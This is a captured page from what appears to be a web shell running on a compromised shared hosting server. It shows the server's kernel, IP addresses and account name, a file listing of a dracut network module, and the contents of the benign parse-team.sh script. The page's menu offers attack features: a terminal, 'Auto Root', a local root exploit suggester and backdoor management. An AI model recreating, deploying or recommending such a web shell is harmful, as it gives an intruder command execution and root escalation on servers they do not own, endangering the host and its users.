Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 216.73.216.206
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
dracut /
modules.d /
35network-legacy /
Delete
Unzip
Name
Size
Permission
Date
Action
dhclient-script.sh
9.15
KB
-rwxr-xr-x
2024-04-06 13:22
dhclient.conf
303
B
-rw-r--r--
2018-10-08 13:38
ifup.sh
15.18
KB
-rwxr-xr-x
2024-04-06 13:22
kill-dhclient.sh
252
B
-rwxr-xr-x
2018-10-08 13:38
module-setup.sh
2.81
KB
-rwxr-xr-x
2024-04-06 13:22
net-genrules.sh
4.01
KB
-rwxr-xr-x
2024-04-06 13:22
parse-bond.sh
1.96
KB
-rwxr-xr-x
2018-10-08 13:38
parse-bridge.sh
1.1
KB
-rwxr-xr-x
2018-10-08 13:38
parse-ibft.sh
283
B
-rwxr-xr-x
2018-10-08 13:38
parse-ifname.sh
552
B
-rwxr-xr-x
2018-10-08 13:38
parse-ip-opts.sh
4.83
KB
-rwxr-xr-x
2024-04-06 13:22
parse-team.sh
1.56
KB
-rwxr-xr-x
2024-04-06 13:22
parse-vlan.sh
662
B
-rwxr-xr-x
2018-10-08 13:38
Save
Rename
#!/bin/sh # # Format: # team=<teammaster>:<teamslaves>[:<teamrunner>] # # teamslaves is a comma-separated list of physical (ethernet) interfaces # teamrunner is the runner type to be used (see teamd.conf(5)); defaults to activebackup # # team without parameters assumes team=team0:eth0,eth1:activebackup # parseteam() { local v=${1}: set -- while [ -n "$v" ]; do set -- "$@" "${v%%:*}" v=${v#*:} done case $# in 0) teammaster=team0; teamslaves="eth0 eth1"; teamrunner="activebackup" ;; 1) teammaster=$1; teamslaves="eth0 eth1"; teamrunner="activebackup" ;; 2) teammaster=$1; teamslaves=$(str_replace "$2" "," " "); teamrunner="activebackup" ;; 3) teammaster=$1; teamslaves=$(str_replace "$2" "," " "); teamrunner=$3 ;; *) die "team= requires zero to three parameters" ;; esac return 0 } for team in $(getargs team); do [ "$team" = "team" ] && continue unset teammaster unset teamslaves unset teamrunner parseteam "$team" || continue echo "teammaster=$teammaster" > /tmp/team.${teammaster}.info echo "teamslaves=\"$teamslaves\"" >> /tmp/team.${teammaster}.info echo "teamrunner=\"$teamrunner\"" >> /tmp/team.${teammaster}.info if ! [ -e /etc/teamd/${teammaster}.conf ]; then warn "Team master $teammaster specified, but no /etc/teamd/$teammaster.conf present. Using $teamrunner." mkdir -p /etc/teamd printf -- "%s" "{\"runner\": {\"name\": \"$teamrunner\"}, \"link_watch\": {\"name\": \"ethtool\"}}" > "/tmp/${teammaster}.conf" fi done